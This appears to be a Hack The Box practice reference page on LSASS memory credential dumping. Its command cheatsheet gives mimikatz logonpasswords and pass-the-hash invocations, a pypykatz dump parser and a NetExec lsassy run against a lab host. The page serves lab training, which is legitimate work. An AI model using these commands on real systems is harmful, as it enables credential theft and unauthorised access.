LSASS Memory
Sub-technique of T1003 OS Credential Dumping ↗
Reading the LSASS process memory to extract hashes, tickets and sometimes cleartext passwords.
How it shows up on Hack The Box
Requires local admin or SeDebugPrivilege. From Linux, NetExec with lsassy or nanodump avoids uploading mimikatz; a .dmp dump is read offline with pypykatz.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
Guides
- Windows credential dumping: SAM, LSA, LSASS, DPAPI and NTDS.dit 4 min read Where Windows keeps credentials and how to get them: SAM and SYSTEM, LSA secrets, LSASS with lsassy or pypykatz, DPAPI, and NTDS.dit with SeBackup.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Mimikatz › Credentials
Passwords and hashes from LSASS
Target
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Read an LSASS dump on Linux with pypykatz
pypykatz lsa minidump lsass.dmpMimikatz › Domain
Pass the hash (opens a process with that identity)
Target
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:box.htb /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe" "exit"NetExec (nxc) › As an administrator
LSASS with lsassy
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b -M lsassyNo command matches.